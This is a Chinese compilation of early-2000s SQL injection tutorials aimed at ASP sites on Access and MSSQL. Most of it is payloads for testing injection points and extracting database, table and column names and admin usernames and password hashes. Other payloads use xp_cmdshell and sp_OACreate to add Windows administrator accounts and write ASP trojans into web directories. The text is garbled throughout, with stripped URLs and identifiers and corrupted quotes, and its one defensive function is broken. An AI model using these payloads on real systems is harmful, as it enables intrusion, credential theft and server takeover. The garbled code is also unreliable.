admin 管理员组文章数量: 1086019
2024年3月6日发(作者:魔兽世界单机输入modify money)
全球最全的SQL手工注入教程!(1)
听说很多人想学SQL手工注入,但网上的资料都很不全,我在家没事就帮大家找了一些关于SQL手工注入经典的教程,希望能给大家带来帮助......
SQL 注入天书 - ASP 注入漏洞全接触收藏
引言
随着 B/S 模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的 SQL Injection,即SQL注入。
SQL注入是从正常的 WWW 端口访问,而且表面看起来跟一般的 Web 页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看 IIS 日志的习惯,可能被入侵很长时间都不会发觉。
但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据,是高手与―菜鸟‖的根本区别。
根据国情,国内的网站用 ASP+Access 或 SQLServer 的占 70% 以上,PHP+MySQ 占 20%,其他的不足 10%。在本文,我们从分入门、进阶至高级讲解一下 ASP 注入的方法及技巧,PHP 注入的文章由 NB 联盟的另一位朋友
zwell 撰写,希望对安全工作者和程序员都有用处。了解 ASP 注入的朋友也请不要跳过入门篇,因为部分人对注入的基本判断方法还存在误区。大家准备好了吗?
入门篇
如果你以前没试过SQL注入的话,那么第一步先把 IE 菜单 =>工具 =>
Internet 选项 => 高级 => 显示友好 HTTP 错误信息 前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为 HTTP 500 服务器错误,不能获得更多的提示信息。
第一节、SQL注入原理
以下我们从一个网站 开始(注:本文发表前已征得该站站长同意,大部分都是真实数据)。
在网站首页上,有名为― IE 不能打开新窗口的多种解决方法‖的链接,地址为:/?id=49,我们在这个地址后面加上单引号‘,服务器会返回下面的错误提示:
Microsoft JET Database Engine 错误 80040e14
字符串的语法错误 在查询表达式 ID=49 中。
/,行8
从这个错误提示我们能看出下面几点:
网站使用的是Access数据库,通过JET引擎连接数据库,而不是通过ODBC。
程序没有判断客户端提交的数据是否符合程序要求。
该SQL语句所查询的表中有一名为ID的字段。
从上面的例子我们可以知道,SQL注入的原理,就是从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取你想到得到的资料。
第二节、判断能否进行SQL注入
看完第一节,有一些人会觉得:我也是经常这样测试能否注入的,这不是很简单吗? 其实,这并不是最好的方法,为什么呢?
首先,不一定每台服务器的 IIS 都返回具体错误提示给客户端,如果程序中加了 cint(参数) 之类语句的话,SQL注入是不会成功的,但服务器同样会报错,具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。
其次,部分对SQL注入有一点了解的程序员,认为只要把单引号过滤掉就安全了,这种情况不为少数,如果你用单引号测试,是测不到注入点的
那么,什么样的测试方法才是比较准确呢?答案如下:
/?id=49
/?id=49 ;and 1=1
/?id=49 ;and 1=2
这就是经典的 1=1、1=2 测试法 了,怎么判断呢?看看上面三个网址返回的结果就知道了,可以注入的表现:
正常显示(这是必然的,不然就是程序有错误了)
正常显示,内容基本与 1 相同
提示 BOF 或 EOF(程序没做任何判断时)、或提示找不到记录(判断了
时)、或显示内容为空(程序加了on error resume next)
不可以注入就比较容易判断了,1 同样正常显示,2 和 3 一般都会有程序定义的错误提示,或提示类型转换时出错。
当然,这只是传入参数是数字型的时候用的判断方法,实际应用的时候会有字符型和搜索型参数,我将在中级篇的―SQL注入一般步骤‖再做分析。
第三节、判断数据库类型及注入方法
不同的数据库的函数、注入方法都是有差异的,所以在注入之前,我们还要判断一下数据库的类型。一般 ASP 最常搭配的数据库是 Access 和 SQLServer,网上超过 99% 的网站都是其中之一。
怎么让程序告诉你它使用的什么数据库呢?来看看: SQLServer 有一些系统变量,如果服务器 IIS 提示没关闭,并且 SQLServer 返回错误提示的话,那可以直接从出错信息获取,方法如下:
/?id=49 ;and user>0
这句语句很简单,但却包含了 SQLServer 特有注入方法的精髓,我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义:首先,前面的语句是正常的,重点在 and user>0,我们知道,user 是 SQLServer 的一个内置变量,它的值是当前连接的用户名,类型为 nvarchar。拿一个 nvarchar 的值跟 int 的数 0 比较,系统会先试图将 nvarchar 的值转成 int 型,当然,转的过程中肯定会出错, SQLServer 的出错提示是:将 nvarchar 值 ‖abc‖ 转换数据类型为 int 的列时发生语法错误,呵呵,abc 正是变量 user 的值,这样,不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里,大家会看到很多用这种方法的语句。
顺便说几句,众所周知,SQLServer 的用户 sa 是个等同 Adminstrators 权限的角色,拿到了 sa 权限,几乎肯定可以拿到主机的 Administrator 了。上面的方法可以很方便的测试出是否是用 sa 登录,要注意的是:如果是 sa 登录,提示是将 ‖dbo‖ 转换成 int 的列发生错误,而不是‖sa‖。
如果服务器 IIS 不允许返回错误提示,那怎么判断数据库类型呢?我们可以从
Access 和 SQLServer 和区别入手,Access 和 SQLServer 都有自己的系统表,比如存放数据库中所有对象的表,Access 是在系统表 [msysobjects ]中,但在
Web 环境下读该表会提示―没有权限‖,SQLServer 是在表 [sysobjects] 中,在
Web 环境下可正常读取。
在确认可以注入的情况下,使用下面的语句:
/?id=49 ;and (select count(*) from
sysobjects)>0
/?id=49 ;and (select count(*) from
msysobjects)>0
如果数据库是 SQLServer,那么第一个网址的页面与原页面
/?id= 49 是大致相同的;而第二个网址,由于找不到表 msysobjects,会提示出错,就算程序有容错处理,页面也与原页面完全不同。
如果数据库用的是 Access,那么情况就有所不同,第一个网址的页面与原页面完全不同;第二个网址,则视乎数据库设置是否允许读该系统表,一般来说是不允许的,所以与原网址也是完全不同。大多数情况下,用第一个网址就可以得知系统所用的数据库类型,第二个网址只作为开启 IIS 错误提示时的验证。
进阶篇
在入门篇,我们学会了SQL注入的判断方法,但真正要拿到网站的保密内容,是远远不够的。接下来,我们就继续学习如何从数据库中获取想要获得的内容,首先,我们先看看SQL注入的一般步骤:
第一节、SQL注入的一般步骤
首先,判断环境,寻找注入点,判断数据库类型,这在入门篇已经讲过了。
其次,根据注入参数类型,在脑海中重构SQL语句的原貌,按参数类型主要分为下面三种:
ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:
Select * from 表名 where 字段=49
注入的参数为 ID=49 And [查询条件],即是生成语句:
Select * from 表名 where 字段=49 And [查询条件]
Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:
Select * from 表名 where 字段=‘连续剧‘
注入的参数为Class=连续剧‘ and [查询条件] and ‗‘=‘ ,即是生成语句:
Select * from 表名 where 字段=‘连续剧‘ and [查询条件] and ‗‘=‘‘
搜索时没过滤参数的,如 keyword=关键字,SQL语句原貌大致如下:
Select * from 表名 where 字段 like ‘%关键字%‘
注入的参数为 keyword=‘ and [查询条件] and ‗%25‘=‘, 即是生成语句:
Select * from 表名 where 字段 like ‘%‘ and [查询条件] and ‗%‘=‘%‘
接着,将查询条件替换成SQL语句,猜解表名,例如:
ID=49 And (Select Count(*) from Admin)>=0
如果页面就与 ID=49 的相同,说明附加条件成立,即表 Admin 存在,反之,即不存在(请牢记这种方法)。如此循环,直至猜到表名为止。 表名猜出来后,将 Count(*) 替换成 Count(字段名),用同样的原理猜解字段名。
有人会说:这里有一些偶然的成分,如果表名起得很复杂没规律的,那根本就没得玩下去了。说得很对,这世界根本就不存在 100% 成功的黑客技术,苍蝇不叮无缝的蛋,无论多技术多高深的黑客,都是因为别人的程序写得不严密或使用者保密意识不够,才有得下手。 有点跑题了,话说回来,对于 SQLServer 的库,还是有办法让程序告诉我们表名及字段名的,我们在高级篇中会做介绍。
最后,在表名和列名猜解成功后,再使用 SQL 语句,得出字段的值,下面介绍一种最常用的方法-Ascii 逐字解码法,虽然这种方法速度很慢,但肯定是可行的方法。
我们举个例子,已知表 Admin 中存在 username 字段,首先,我们取第一条记录,测试长度:
/?id=49 ;and (select top 1 len(username) from
Admin)>0
先说明原理:如果 top 1 的 username 长度大于 0,则条件成立;接着就是 >1、>2、>3 这样测试下去,一直到条件不成立为止,比如 >7成立,>8 不成立,就是 len(username)=8
当然没人会笨得从 0,1,2,3 一个个测试,怎么样才比较快就看各自发挥了。在得到 username 的长度后,用 mid(username,N,1) 截取第 N 位字符,再
asc(mid(username,N,1)) 得到 ASCII 码,比如:
id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0
同样也是用逐步缩小范围的方法得到第 1 位字符的 ASCII 码,注意的是英文和数字的 ASCII 码在 1-128 之间,可以用折半法加速猜解,如果写成程序测试,效率会有极大的提高。
第二节、SQL注入常用函数
有 SQL 语言基础的人,在SQL注入的时候成功率比不熟悉的人高很多。我们有必要提高一下自己的 SQL 水平,特别是一些常用的函数及命令。
Access:asc(字符) SQLServer:unicode(字符) 作用:返回某字符的ASCII码
Access:chr(数字) SQLServer:nchar(数字) 作用:与asc相反,根据ASCII码返回字符
Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L) 作用:返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串
Access:abc(数字) SQLServer:abc (数字) 作用:返回数字的绝对值(在猜解汉字的时候会用到)
Access:A between B And C SQLServer:A between B And C 作用:判断A是否界于B与C之间
第三节、中文处理方法
在注入中碰到中文字符是常有的事,有些人一碰到中文字符就想打退堂鼓了。其实只要对中文的编码有所了解,―中文恐惧症‖很快可以克服。 先说一点常识:
Access中,中文的ASCII码可能会出现负数,取出该负数后用abs()取绝对值,汉字字符不变。
SQLServer中,中文的ASCII为正数,但由于是UNICODE的双位编码,不能用函数ascii()取得ASCII码,必须用函数unicode ()返回unicode值,再用nchar函数取得对应的中文字符。
了解了上面的两点后,是不是觉得中文猜解其实也跟英文差不多呢?除了使用的函数要注意、猜解范围大一点外,方法是没什么两样的。
高级篇
看完入门篇和进阶篇后,稍加练习,破解一般的网站是没问题了。但如果碰到表名列名猜不到,或程序作者过滤了一些特殊字符,怎么提高注入的成功率?怎么样提高猜解效率?请大家接着往下看高级篇。
第一节、利用系统表注入SQLServer数据库
SQLServer 是一个功能强大的数据库系统,与操作系统也有紧密的联系,这给开发者带来了很大的方便,但另一方面,也为注入者提供了一个跳板,我们先来看看几个具体的例子:
Site/?id=1;p_cmdshell ―net user name password /add‖--
分号;在SQLServer中表示隔开前后两句语句,--表示后面的语句为注释,所以,这句语句在SQLServer中将被分成两句执行,先是Select出ID=1的记录,然后执行存储过程xp_cmdshell,这个存储过程用于调用系统命令,于是,用net命令新建了用户名为name、密码为password的windows的帐号,接着:
Site/?id=1;p_cmdshell ―net localgroup name
administrators /add‖--
将新建的帐号name加入管理员组,不用两分钟,你已经拿到了系统最高权限!当然,这种方法只适用于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的。
Site/?id=1 ;and db_name()>0
前面有个类似的例子and user>0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。
Site/?id=1;backup database 数据库名 to
disk=‘c:‘;--
这是相当狠的一招,从 3 拿到的数据库名,加上某些 IIS 出错暴露出的绝对路径,将数据库备份到 Web 目录下面,再用 HTTP 把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还可以备份到网络地址的方法(如e ),但成功率不高。
Site/?id=1 ;and (Select Top 1 name from sysobjects where xtype=‘U‘ and
status>0)>0
前面说过,sysobjects 是 SQLServer 的系统表,存储着所有的表名、视图、约束及其它对象,xtype=‘U‘ and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。第二、第三个表名怎么获取?还是留给我们聪明的读者思考吧。
Site/?id=1 ;and (Select Top 1 col_name(object_id(‗表名‘),1) from
sysobjects)>0
从 5 拿到表名后,用 object_id(‗表名‘)获取表名对应的内部 ID,col_name(表名ID,1) 代表该表的第 1 个字段名,将 1 换成 2,就可以逐个获取所猜解表里面的字段名。
以上 6 点是我研究 SQLServer 注入半年多以来的心血结晶,可以看出,对
SQLServer 的了解程度,直接影响着成功率及猜解速度。在我研究 SQLServer 注入之后,我在开发方面的水平也得到很大的提高,呵呵,也许安全与开发本来就是相辅相成的吧。
第二节、绕过程序限制继续注入
在入门篇提到,有很多人喜欢用‘号测试注入漏洞,所以也有很多人用过滤‘号的方法来―防止‖注入漏洞,这也许能挡住一些入门者的攻击,但对SQL注入比较熟悉的人,还是可以利用相关的函数,达到绕过程序限制的目的。
在―SQL注入的一般步骤‖一节中,我所用的语句,都是经过我优化,让其不包含有单引号的;在―利用系统表注入SQLServer数据库‖中,有些语句包含有‘号,我们举个例子来看看怎么改造这些语句:
简单的如where xtype=‘U‘,字符U对应的ASCII码是85,所以可以用where
xtype=char(85)代替;如果字符是中文的,比如where name=‘用户‘,可以用where
name=nchar(29992)+nchar(25143)代替。
第三节、经验小结
有些人会过滤 Select、Update、Delete 这些关键字,但偏偏忘记区分大小写,所以大家可以用 selecT 这样尝试一下。
在猜不到字段名时,不妨看看网站上的登录表单,一般为了方便起见,字段名都与表单的输入框取相同的名字。
特别注意:地址栏的+号传入程序后解释为空格,%2B 解释为 + 号,%25 解释为 % 号,具体可以参考 URLEncode 的相关介绍。
用 Get 方法注入时,IIS 会记录你所有的提交字符串,对 Post 方法做则不记录,所以能用 Post 的网址尽量不用Get。
猜解 Access 时只能用 Ascii 逐字解码法,SQLServer 也可以用这种方法,只需要两者之间的区别即可,但是如果能用 SQLServer 的报错信息把值暴露出来,那效率和准确率会有极大的提高。
防范方法
SQL注入漏洞可谓是―千里之堤,溃于蚁穴‖,这种漏洞在网上极为普遍,通常是由于程序员对注入不了解,或者程序过滤不严格,或者某个参数忘记检查导致。在这里,我给大家一个函数,代替 ASP 中的 Request 函数,可以对一切的 SQL
注入 Say NO,函数如下:
Function SafeRequest(ParaName,ParaType)
--- 传入参数 ---
ParaName:参数名称-字符型
ParaType:参数类型-数字型(1表示以上参数是数字,0表示以上参数为字符)
Dim ParaValue
ParaValue=Request(ParaName)
If ParaType=1 then
If not isNumeric(ParaValue) then
"参数" & ParaName & "必须为数字型!"
End if
Else
ParaValue=replace(ParaValue,"","")
End if
SafeRequest=ParaValue
End function
文章到这里就结束了,不管你是安全人员、技术爱好者还是程序员,我都希望本文能对你有所帮助。 (作者:小竹)
漏洞描述:MSSQL 跨库查询.可以暴露任意库中任意表中字段的值.
漏洞发现者:中国网络脚本安全测试小组--臭要饭的!,黑夜.
测试和利用:臭要饭的!,黑夜.
测试日期:2003-10-30
前言:
哎,真是无聊,又烦人,我这个要饭的,日子越来越不好过了。有人居然说我奉旨要饭,我真是没得语言了,所以抽了空玩点COOL的,好让大家来分享分享!
大家都知道SQL跨表查询的东东吧。不过,假如管理员把字段名改成非常复杂的话,那么我们去猜解字段名,那将会是一件非常痛苦的事. 痛苦的事我们就不要去做了,交给想做痛苦的事的人吧.我们去找新的,绕过这个痛苦的过程。
绕过这个过程的过程I LIKE 。这个过程就是我今天要为大家介绍的 MSSQL 跨库查询的用法.
开工吧,让我们来分析一下MSSQL的三个关键系统表.
一、分析MSSQL三个关键系统表. (西安禾丰/).
sysdatabases
MSSQL中对sysdatabases系统表 的说明:
Microsoft SQL Server 上的每个数据库在表中占一行。最初安装 SQL Server 时,sysdatabases 包含 master、model、msdb、mssqlweb 和 tempdb 数据库的项。该表只存储在 master 数据库中。
这个表保存在master数据库中,这个表中保存的是什么信息呢?这个非常重要。他是
保存了,所有的库名,以及库的ID,和一些相关信息。
这里我把对于我们有用的字段名称和相关说明给大家列出来.看好咯!
name dbid
//表示库的名字. //表示库的ID.
dbid从1到5是系统的。分别是:master、model、msdb、mssqlweb、tempdb 这五个库.
我们利用SQL语句:select * from abases 就可以查询出所有的库名.
sysobjects
MSSQL中对sysobjects系统表的说明: (西安禾丰/).
在数据库内创建的每个对象(约束、默认值、日志、规则、存储过程等)在表中占一行。只有在 tempdb 内,每个临时对象才在该表中占一行。
这个是列出数据库对象的系统表。当然数据库表名也在里面的.
这里我就为大家列出一些对我们有用的字段名称和相关说明.
name id xtype uid
对象名. 对象ID 对象类型 所有者对象的用户ID。
对象类型(xtype)。可以是下列对象类型中的一种:
C = CHECK 约束
D = 默认值或 DEFAULT 约束
F = FOREIGN KEY 约束
L = 日志
FN = 标量函数
IF = 内嵌表函数
P = 存储过程
PK = PRIMARY KEY 约束(类型是 K)
RF = 复制筛选存储过程
S = 系统表
TF = 表函数
TR = 触发器
U = 用户表
UQ = UNIQUE 约束(类型是 K)
V = 视图
X = 扩展存储过程
当然我们这里只用得到xtype=―U―的值。当等于U的时候,对象名就是表名,对象ID就是表的ID值.
我们利用SQL语句: select * from ects where xtype=―U― 这样就可以列出库名称是:ChouYFD中所有的表名.
syscolumns
SQL中syscolumns系统表的说明:
每个表和视图中的每列在表中占一行,存储过程中的每个参数在表中也占一行。该表位于每个数据库中。
这个就是列出一个表中所有的字段列表的系统表。
这里我就为大家列出一些对我们有用的字段名称和相关说明:
name id colid
//字段名称 //表ID号. 字段ID号.
其中的 ID 是 刚上我们用sysobjects得到的表的ID号.
我们利用SQL语句: select * from umns where id=123456789 得到ChouYFD这个库中,表的ID是123456789中的所有字段列表.
YES SIR 明白!GO GO GO !!!
好了,简单的介绍了一下这个用法.大家如果有不了解的,请查看SQL相关说明.
二、灵活利用系统表
同志们,玩过CS游戏的举手,呵呵,都玩过啊。好!我们今天也要来爆一下"头".
GO GO GO !!!
不过我们现在爆的是库名,表名,字段名,我们用不着去猜库名,表名,字段名.
说一下怎么爆出相关的库名,表名,字段名.
当两个类型值不一样的时候,将他们做比较,SQL系统会提示出错。并且会显示出类型的值. 如:‘aaa‘>100 这样比较,也就是字符串和数字的比较,这个怎么比较嘛,系统当然会提示出错啦!大家都知道只有相同类型的时候才可以进行运算.所以这里我们就来一个反方向的不相同类型比较,爆出他的值.
下面就让我们来测试吧!!!准备好没有?GO!
任务一:得到所有库名.
/?id=3400 and 0<>(select count(*) _
from abases where name>1 and dbid=6)
因为 dbid 的值从1到5,是系统用了。所以用户自己建的一定是从6开始的。并且我们提交了 name>1 NAME字段是一个字符型的字段和数字比较会出错.那我们提交看一下IE返回了什么?
IE返回.
Microsoft OLE DB Provider for SQL Server 错误 ―80040e07―
将 nvarchar 值 ―Northwind― 转换为数据类型为 int 的列时发生语法错误。
/,行33
GOOD!!!这样就把NAME字段的值爆露出来了: Northwind. 也就是我们得到了一个库名.
改变DBID的值.我们可以得出所有的库名.当DBID等于10,11的时候,爆出了两个论坛的库名.分别为:
bbs2002
bbs
呵呵,论坛的库名出来啦!!!那我们就不客气了。就找BBS这个库吧!
任务二:得到bbs这个库中所有的表名.
先来第一句:
/?id=3400 and 0<>(select top 1
name from ects where xtype=―U―)
查询的SQL语句,返回的是NAME的值然后和数字0比较,这样就会爆露出NAME的值.
好我们提交吧,只听到砰的一声!一个表名(name的值)出来了。名叫:Address.
// 这里多说两句话,如果你提交的时候,他说你没有权限,就说明,这两个库的SQL账
//号的权限不一样,那就放弃吧。你没有资格进行下去. 老兄放弃吧!等他更新账号权
//的时候,我第一时间通知你!一定要相信我臭要饭的!话.
好,再来接着爆其他的表.
/?id=3400 and 0<>(select top 1 _
name from ects where xtype=―U― and name _
not in(―Address―))
又出来一个表名,名叫:admin
依次提交 ... and name not in(―address―,―admin―,..)) 可以查出所有的表名.
好,现在我们得到了ADMIN这个表,大家都清楚了这个表是做什么的吧!!我们的目的就是要得到这个表中账号字段和密码字段的值。
下面就是要得到这个表中的所有字段名了咧! 怎么得到字段名呢?系统表: syscolumns
中有用字段为: name、 id、colid 其中ID是保存着表的ID。也就是说我们要得到表的ID号然后,用SELECT * from umns where id=bbs表的ID 这样才能列出BBS这个表中所有的字段. 说了半天,哎,说不清楚了。看我表演吧!
/?id=3400 and 0<>(select count(*)_
from ects where xtype=―U― and name=―admin―_
and uid>(str(id)))
//把ID值转成字符型后再和一个整型值比较。我KAO。经典吧,呵呵,这也想得出来。 (西安禾丰/).
又听到砰的一声!ID号出来了。值为:773577794
!! 进入下关吧。
任务三:得到ADMIN这个表中的所有字段列表:
/?id=3400 and 0<>(select top 1 _
name from umns where id=773577794)
又是把NAME和数字比较.
IE 返回:adduser 呵呵,来来来。
/?id=3400 and 0<>(select top 1 _
name from umns where id=773577794 and name _
not in(―adduser―))
又返回一个字段名:flag
/?id=3400 and 0<>(select top 1 _
name from umns where id=773577794 and name _
not in(―adduser―,―flag―))
好当提交到:
/?id=3400 and 0<>(select top 1 _
name from umns
where id=773577794 and name not in(―adduser―,―flag―,―id―,_
―lastlogin―,―lastloginip―,―password―,―username―))
IE返回:BOF 或 EOF 中有一个是"真",或者当前的记录已被删除,所需的操作要求一个当前的记录。
说明,我们已经猜完了。呵呵,看到了吧。
把BBS库中的ADMIN表中的所有字段列出来了。
分别如下:
adduser,adduser,flag,id,lastlogin,lastloginip,password,username
看了一下,很像动网的论坛。
任务四:查询字段值.
来。我们看看username和password的值吧。
/?id=3400 and 0<(select id from _
where username>1)
账号出来了:youbiao
/?id=3400 and 0<(select id from _
where password>1 and username=―youbiao―)
密码又出来了:d6b2f32a47b8bcb5 我的天MD5的!不怕,呵呵~!!!
来。改一下他的密码:
/?id=3400;update _
set password=―AAABBBCCCDDDEEEF― where username=―youbiao―;--
呵呵,试试。成功了。我们再来给他改回来.
/?id=3400;update _
set password=―d6b2f32a47b8bcb5― where username=―youbiao―;--
又改回来咯!!!呵~!
通过提交UPDATE语句就可以直接把密码给他更改了。不过这是动网的。现在我们得到的只是后台的账号,你还是到前台去加一个用户为管理员才行。 这里,我们只是作测试,不破坏任何数据。 所以本文中的测试网址都更改过。请大家见谅!
[本文章还做了动画,不过测试动画用到的网站是国内一家大型游戏网站,所以这里不方便提示下载.请原谅.不明白的朋友请多看MSSQL相关帮助,学会自己独立分析和研究]
三、结束,闪人!:
这次测试是和黑夜一起测试的。其中用了不少心思。希望,大家不要利用本方法去破坏网络数据,希望看到本文章的朋友,如果自己的网站用了SQL数据库,请认真检查脚本提交的参数.
最新的研究技术.
1.在MSSQL查看系统和数据库信息。可以得到系统补丁情况和数据库版本.
2.可以得到MSSQL数据库当前连接的账号名,以及账号是什么权限.
3.查看一个MSSQL存储扩展过程是否存在.
4.通过有权限的MSSQL数据库账号可以得到WEB绝对路径的位置.
5.研究出怎么饶过脚本外部提交的限制.
6.给我一个MSSQL sysadmin账号我就一定可以给你一个系统管理员权限, 成功率99%.
正在研究的东西.
1.寻找DVBBS7.0的漏洞.
2.研究MSSQL查寻目录的方法.
3.研究怎么通过ACCESS数据库直接得到WEBSHELL的方法.
4.深入研究ACCESS没公开的函数,为注入服务.
其实以上的研究只有一个目的就是怎么得到WEBSHELL.
榨干MS SQL最后一滴血 时间:2007-06-16 作者:佚名 编辑:本站 点击:
-风云变换的网络,网络安全让人们不能不关注它。数据库,让我们不得不想起强大的ORACLE,MS SQL。微软的漏洞最多,今天就用SQL INJECTION来让MS SQL为我们好好的工作。
以下(使用一知名网站作为测试点),相信大家对SQL爆库,爆表,爆字段都已掌握,在这里就不多说这方面了。
MS SQL内置函数介绍:
@@VERSION 获得Windows的版本号,MS SQL的版本号,补丁。 User_name()
得到当前系统的连接用户 Db_name() 得到当前连接的数据库 HOST_NAME()
得到当前主机的名称
这些信息有助我们对系统进行简单的了解
好,下面我们就开始吧!
语句: http:///?classid=1'返回信息:Microsoft OLE DB
Provider for SQL Server 错误 '80040e14' 字符串 ' Order By Id DESC' 之前有未闭合的引号。 /,行290
从这里未闭合的引号(―‘‖),我们可以确定存在SQL INJECTION。发现在漏洞当然接着走了,利用以上介绍的函数为我们工作了:
语句: http:///?classid=1 and 0<>(select @@version)—返回:
Microsoft OLE DB Provider for SQL Server 错误 '80040e07' 将 nvarchar 值
'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright
(c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build
2195: Service Pack 4) ' 转换为数据类型为 int 的列时发生语法错误。 /,行290
相关的信息出来了,MS SERVER ADVANCED SERVER 2000+SP4, SQL
2000+SP3,从MS SQL SERVER 后面的8.00.760可看出是SP3补丁。看了服务器的信息,接下应该了解数据库的权限了:
语句:http:///?classid=1 and user_name()=‘dbo‘返回: 正常返回的信息
确定是权限是DBO,从表面DBO权限的连接用户经常是涉及SYSADMIN服务器角色成员。说明数据库服务器角色成员组默认是在每个数据库增加一个DBO用户。
返回原理根1=1,1=2相似..这里只是权限测试,我们也把它爆出来看看:
语句: http:///?classid=1 and 0<>(select user_name())—返回:
Microsoft OLE DB Provider for SQL Server 错误 '80040e07' 将 nvarchar 值 'dbo'
转换为数据类型为 int 的列时发生语法错误。 /,行290
说明连接数据库的用户权限很高,可以确定是服务器角色组中的成员。
语句:http:///?classid=1 and 0<>(select db_name())—返回:Microsoft OLE DB Provider for SQL Server 错误 '80040e07' 将 nvarchar 值
'GameIMGSys' 转换为数据类型为 int 的列时发生语法错误。 /,行290
这样就可以爆出当前的数据库。得到这么高权限的数据库连接成员,我们当然想直接得到WEBSHELL,或是直接拿到NT ADMIN。NT ADMIN取决于当前服务器的配置,如果配置不合理的服务器,我们要直接拿NT ADMIN,拿NT ADMIN就要用到:
MSSQL内置存储过程:
sp_OACreate (通过它,危害很得更大,但是需要有SYSADMINS权限才可能使
用) sp_OAGetErrorInfo sp_OAGetProperty sp_OAMethod sp_OASetProperty
sp_SetPropertysp_OAStop
由于MS SQL一次可以执行多语句,使得我们有机会使用更多的语句。
语句: http:///?classid=1; DECLARE @shell INT EXEC
SP_OACREATE '',@shell OUTPUT EXEC SP_OAMETHOD
@shell,'run',null, 'C: /c net user cntest chinatest /add'正常返回。(提示:如果主机上shell存在的话那将在服务器上创建一个cntest的用户)
创建用户了,语句后再加个net localgroup administrators cntest /add加到管理组中。
如果对方的机子开着3389端口,或IPC的话,那接下来的事,就不用我多说了。
遇到专业型主机,只开一个80端口,那应该怎么办呢?当然,我们还是可能拿到WEBSHELL,再慢慢渗透的。
由于权限高,我们可能先建表,写入ASP木马的数据再通过MAKEWEBTASK,得到WEBSEHLL.手工写入的程序太过于繁锁,上传WEBSHELL最大的问题还是网页目录,现在网上已经有现成的工具通过BACKUP,和MASKWEBTASK的工具得到WEBSHELL了。以下推荐,获取网页路径(通过存储过程达到对注册表的读取):
利用内置存储过程 xp_regread(读取注册表键值,权限public):
语句:http:///?classid=1;CREATE TABLE newtable(id int
IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec
p_regread @rootkey='HKEY_LOCAL_MACHINE',
@key='SYSTEMCurrentControlSetServicesW3SVCParametersVirtual Roots',
@value_name='/', values=@test OUTPUT insert into paths(path) values(@test)
IIS的默认路径的在注册表中HKEY_LOCAL_MACHINE
SYSTEMCurrentControlSetServicesW3SVCParametersVirtual Roots
利用爆字段将数据库的值读出来:
语句:http:///?classid=1 and 0<>(select top 1 paths from
newtable)--返回: Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]将 varchar 值 'E:www,,201'
转换为数据类型为 int 的列时发生语法错误。
这说明网页目录在E:www,接下来也可以利用FSO直接写入ASP木马(提示必须拥用SYSADMIN权限才可使用FSO和FSO开入的前提下) :
语句:http:///?class=1;declare%20@o%20int,%20@f%20int,%20@t%20int,%20@ret%20int%20exec%20sp_oacreate%20'stemobject',%20@o%20out%20exec%20sp_oamethod%20@o,%20'createtextfile',%20@f%20out,%20'e:',1%20exec%20@ret%20=%20sp_oamethod%20@f,%20'writeline',%20NULL,%20'On Error Resume Next'--
在E:WWW下创建一个并写入On Error Resume next语句:
http:///?classid=1;declare%20@o%20int,%20@f%20int,%20@t%20int,%20@ret%20int%20exec%20sp_oacreate%20'stemobject',%20@o%20out%20exec%20sp_oamethod%20@o,%20'opentextfile',%20@f%20out,%20'e:',8%20exec%20@ret%20=%20sp_oamethod%20@f,%20'writeline',%20
NULL,%20'asp horse '—
在E:增加一行记录,记录为asp horse, 整个完整木马可能这样写入。(%百分号要用%25替代写入)。如果得不到网页目录,怎么办呢?前提你要猜到网站是否使用默认WEB,或者使用域名作为WEB。
declare @o int exec sp_oacreate '', @o out exec sp_oamethod @o, 'run',
NULL,‘ c: -w "默认 Web 站点" -v
"e","e:"‘
在默认的WEB站点下创建一个虚拟目录E,指向E:盘下。
declare @o int exec sp_oacreate '', @o out exec sp_oamethod @o, 'run',
NULL,‘ c: -a w3svc/1/ROOT/e +browse‘
给虚拟目录e加上浏览属性不错吧。给自己开虚拟服务。想那些网页目录路径,头都快破了。这下给自己一个天开眼了。那传WEBSHELL利用MS SQL为我们的工作告了一段落了,接下来工作应该由你来了。
SQL语句参考及记录集对象详解
2008-11-25 11:47 作者:佚名 来源:企航中国 点击:2 次核心提示:SQL语句参考及记录集对象详解 1. ASP与Access数据库连接: 2. ASP与SQL数据库连接: 建立记录集对象: set rs=object("set") SQL语句,conn,3,2 3. SQL常用命令使用方法: (1) 数据记录筛选: sql="sele
SQL语句参考及记录集对象详解
1. ASP与Access数据库连接:
2. ASP与SQL数据库连接:
建立记录集对象:
set rs=object("set")
SQL语句,conn,3,2
3. SQL常用命令使用方法:
(1) 数据记录筛选:
sql="select * from 数据表 where 字段名=字段值 order by 字段名 [desc]"
sql="select * from 数据表 where 字段名 like '%字段值%' order by 字段名
[desc]"
sql="select top 10 * from 数据表 where 字段名 order by 字段名 [desc]"
sql="select * from 数据表 where 字段名 in ('值1','值2','值3')"
sql="select * from 数据表 where 字段名 between 值1 and 值2"
(2) 更新数据记录:
sql="update 数据表 set 字段名=字段值 where 条件表达式"
